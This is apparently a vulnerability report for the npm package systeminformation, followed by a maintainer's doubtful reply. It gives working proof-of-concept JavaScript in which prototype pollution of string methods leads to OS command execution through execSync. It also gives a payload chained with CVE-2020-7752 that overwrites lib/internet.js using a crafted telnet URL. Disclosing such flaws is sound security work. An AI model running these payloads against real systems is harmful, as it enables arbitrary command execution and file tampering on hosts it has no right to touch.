Package name: systeminformation.
Tested package versions: 4.30.1, 4.30.2, 4.30.4
Fixed package versions: >= 4.30.5
Description: The attacker can overwrite the properties and functions of an object. It can lead to executing OS commands.
Sensitive file: lib/internet.js.
Simple test:
const si = require('systeminformation');
const obj = {};
obj.__proto__.polluted = "polluted";
si.inetChecksite("https://effectrenan.com").then((a) => {
console.log(a.polluted)
})
Prototype Pollution leading to OS command execution:
Payload:
const si = require('systeminformation');
const obj = "";
obj.__proto__.replace = () => { return require("child_process").execSync("<OS command>") };
si.inetChecksite("https://effectrenan.com");
The payload above exploit the replace
function, which is called in the lib/internet.js
file to sanitize the user input.
let urlSanitized = util.sanitizeShellString(url).toLowerCase();
urlSanitized = urlSanitized.replace(/ /g, '');
urlSanitized = urlSanitized.replace(/\$/g, '');
urlSanitized = urlSanitized.replace(/\(/g, '');
urlSanitized = urlSanitized.replace(/\)/g, '');
urlSanitized = urlSanitized.replace(/{/g, '');
urlSanitized = urlSanitized.replace(/}/g, '');
If in some context the require
function is not available, it is possible to exploit the Command Injection vulnerability via CVE-2020-7752.
const URL = "";
const HOST = "127.0.0.1:443"; // CVE-2020-7752
const PAYLOAD = `telnet://${HOST} --no-buffer -o node_modules/systeminformation/lib/internet.js`; // CVE-2020-7752
URL.__proto__.toLowerCase = () => {
return {
replace: () => {return PAYLOAD}
}
}
URL.__proto__.replace = () => {
return URL;
}
si.inetChecksite("https://effectrenan.com");
@EffectRenan I am not really sure, if this should be handled (and how). If you are in control of the code you anyway can directly execute
Maybe I am wrong ... I then should consider catching ALL possible prototype pollutions, which I am not sure how this would work.